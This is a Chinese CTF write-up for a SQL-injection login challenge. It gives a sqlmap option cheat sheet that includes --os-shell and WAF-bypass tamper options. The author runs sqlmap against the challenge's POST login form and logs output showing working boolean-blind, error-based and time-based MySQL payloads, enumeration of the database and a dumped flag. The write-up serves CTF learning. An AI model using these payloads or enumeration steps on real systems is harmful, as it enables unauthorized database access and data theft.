当前位置： 首页 > news >正文

sqlmap学习笔记ing（2.[第一章 web入门]SQL注入-2（报错，时间，布尔））

news 2025/7/2 19:59:35

根据提示访问页面

Ctrl+U查看源码

unicode编码在线转化工具转换为中文。

判断注入类型：

证明是字符报错注入且账号 admin是存在的

可以得出闭合方式为：单引号 '

使用sqlmap经行注入

### 总结参数作用：
-u        指定目标URL。
-C        指定列名（多个列用逗号分隔）。
-D        指定数据库名。
-T        指定表名。
-r        从文件加载请求，保留请求细节，自动识别注入点。
--data       指定POST方法发送的数据,sqlmap -u <URL> --data="<POST_DATA>",它在检测 POST 注入漏洞时至关重要。
--columns       枚举指定表中的列。
--tables        枚举指定数据库中的表。
--dump          导出数据。
--dbs	        枚举所有数据库	sqlmap -u URL --dbs
--level	        测试深度(1-5)	--level 3（检测Cookie注入）
--risk	        风险等级(1-3)	--risk 3（使用危险语句）
--proxy	        使用代理	--proxy="http://127.0.0.1:8080"
--tamper	    绕过WAF	--tamper=space2comment
--forms         自动处理表单，用于自动发现表单并注入。
--batch         无需用户交互，自动选择默认选项。
--current-db    获取当前数据库名。
--dump-all	    导出所有数据	sqlmap -u URL --dump-all
--os-shell	    获取系统shell	sqlmap -u URL --os-shell
抓包，保存为txt文件，sqlmap梭sqlmap -r ./1111.txt --batch --dbssqlmap -r ./1111.txt --batch -D note --tablessqlmap -r ./1111.txt --batch -D note -T fl4g --columnssqlmap -r ./1111.txt --batch -D note -T fl4g -C flag --dumpsqlmap -u "http://challenge.qsnctf.com:32146/login.php?tips=1" --data="name=123&pass=1244" --dbs --batch
sqlmap -u "http://challenge.qsnctf.com:32146/login.php?tips=1" --data="name=123&pass=1244" -D note --tables --batch
sqlmap -u "http://challenge.qsnctf.com:32146/login.php?tips=1" --data="name=123&pass=1244" -D note -T fl4g --colums --batch
sqlmap -u "http://challenge.qsnctf.com:32146/login.php?tips=1" --data="name=123&pass=1244" -D note -T fl4g -C flag --dump --batch

┌──(root💀kali)-[/home/kali/Desktop]
└─# cat 1111.txt       
POST /login.php?tips=1 HTTP/1.1
Host: challenge.qsnctf.com:32146
Content-Length: 85
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://challenge.qsnctf.com:32146
Referer: http://challenge.qsnctf.com:32146/login.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: closename=123&pass=1244┌──(root💀kali)-[/home/kali/Desktop]
└─# ┌──(root💀kali)-[/home/kali/Desktop]
└─# sqlmap -r ./1111.txt -D note --tables --batch              130 ⨯_____H__                                                         ___ ___["]_____ ___ ___  {1.9.2#stable}                             
|_ -| . [']     | .'| . |                                            
|___|_  [']_|_|_|__,|  _|                                            |_|V...       |_|   https://sqlmap.org                         [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 07:14:00 /2025-07-01/[07:14:00] [INFO] parsing HTTP request from './1111.txt'
[07:14:01] [INFO] resuming back-end DBMS 'mysql' 
[07:14:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: name=123' OR NOT 3829=3829#&pass=1244Type: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: name=123' AND (SELECT 7577 FROM(SELECT COUNT(*),CONCAT(0x7176767871,(SELECT (ELT(7577=7577,1))),0x7176766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- AfYz&pass=1244Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: name=123' AND (SELECT 9967 FROM (SELECT(SLEEP(5)))Ffyn)-- kLUH&pass=1244
---
[07:14:02] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[07:14:02] [INFO] fetching tables for database: 'note'
[07:14:02] [INFO] retrieved: 'fl4g'
[07:14:02] [INFO] retrieved: 'users'
Database: note
[2 tables]
+-------+
| fl4g  |
| users |
+-------+[07:14:02] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/challenge.qsnctf.com'                         [*] ending @ 07:14:02 /2025-07-01/┌──(root💀kali)-[/home/kali/Desktop]
└─# sqlmap -r ./1111.txt -D note -T fl4g --columns --batch_____H__                                                         ___ ___[(]_____ ___ ___  {1.9.2#stable}                             
|_ -| . [.]     | .'| . |                                            
|___|_  [)]_|_|_|__,|  _|                                            |_|V...       |_|   https://sqlmap.org                         [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 07:14:51 /2025-07-01/[07:14:51] [INFO] parsing HTTP request from './1111.txt'
[07:14:51] [INFO] resuming back-end DBMS 'mysql' 
[07:14:51] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: name=123' OR NOT 3829=3829#&pass=1244Type: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: name=123' AND (SELECT 7577 FROM(SELECT COUNT(*),CONCAT(0x7176767871,(SELECT (ELT(7577=7577,1))),0x7176766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- AfYz&pass=1244Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: name=123' AND (SELECT 9967 FROM (SELECT(SLEEP(5)))Ffyn)-- kLUH&pass=1244
---
[07:14:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[07:14:52] [INFO] fetching columns for table 'fl4g' in database 'note'
[07:14:52] [INFO] retrieved: 'flag'
[07:14:52] [INFO] retrieved: 'varchar(40)'
Database: note
Table: fl4g
[1 column]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| flag   | varchar(40) |
+--------+-------------+[07:14:52] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/challenge.qsnctf.com'                         [*] ending @ 07:14:52 /2025-07-01/┌──(root💀kali)-[/home/kali/Desktop]
└─# sqlmap -r ./1111.txt -D note -T fl4g -C flag --dump --batch_____H__                                                         ___ ___["]_____ ___ ___  {1.9.2#stable}                             
|_ -| . [)]     | .'| . |                                            
|___|_  [(]_|_|_|__,|  _|                                            |_|V...       |_|   https://sqlmap.org                         [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 07:15:18 /2025-07-01/[07:15:18] [INFO] parsing HTTP request from './1111.txt'
[07:15:19] [INFO] resuming back-end DBMS 'mysql' 
[07:15:19] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: name=123' OR NOT 3829=3829#&pass=1244Type: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: name=123' AND (SELECT 7577 FROM(SELECT COUNT(*),CONCAT(0x7176767871,(SELECT (ELT(7577=7577,1))),0x7176766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- AfYz&pass=1244Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: name=123' AND (SELECT 9967 FROM (SELECT(SLEEP(5)))Ffyn)-- kLUH&pass=1244
---
[07:15:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[07:15:20] [INFO] fetching entries of column(s) 'flag' for table 'fl4g' in database 'note'                                                
[07:15:20] [INFO] retrieved: 'n1book{login_sqli_is_nice}'
Database: note
Table: fl4g
[1 entry]
+----------------------------+
| flag                       |
+----------------------------+
| n1book{login_sqli_is_nice} |
+----------------------------+

得到flag

http://www.lryc.cn/news/578775.html

相关文章：

  • 应急响应类题练习——玄机第四章 windows实战-emlog
  • 快速手搓一个MCP服务指南（九）： FastMCP 服务器组合技术：构建模块化AI应用的终极方案
  • Spring Boot 启动加载执行链路分析
  • [Python 基础课程]字符串
  • 深度学习常见的激活函数
  • [创业之路-458]：企业经营层 - 蓝海战略 - 重构价值曲线、整合产业要素、创造新需求
  • 复现一个nanoGPT——model.py
  • Android屏幕共享+WebSocket实现传输截图
  • uniapp选择相册
  • 学习字符串
  • 菜谱大全——字符串处理艺术：从文本解析到高效搜索 [特殊字符][特殊字符]
  • LL面试题11
  • 【Python】numpy数组常用数据处理（测试代码+api例程）
  • Web前端之JavaScript实现图片圆环、圆环元素根据角度指向圆心、translate、rotate
  • vue-34（单元测试 Vue 组件的介绍）
  • 第六章 OpenCV篇—傅里叶变换与直方图
  • 通过http调用来访问neo4j时报错，curl -X POST 执行指令报错
  • 2025 推理技术风向标：DeepSeek-R1 揭示大模型从 “记忆” 到 “思考” 的进化路径
  • 8.Docker镜像讲解
  • 【读代码】百度开源大模型：ERNIE项目解析
  • 1.MySQL之如何定位慢查询
  • Python应用指南：利用高德地图API获取公交+地铁可达圈（三）
  • 达梦数据库配置SYSDBA本地免密登录
  • 怎么查看Android设备中安装的某个apk包名和启动页activity
  • CSS 安装使用教程
  • 【Python基础】11 Python深度学习生态系统全景解析：从基础框架到专业应用的技术深度剖析（超长版，附多个代码及结果）
  • python 继承
  • HDMI 2.1 FRL协议的流控机制：切片传输（Slicing）和GAP插入
  • [Python] -基础篇8-Python中的注释与代码风格PEP8指南
  • Qt_Creator入门基础知识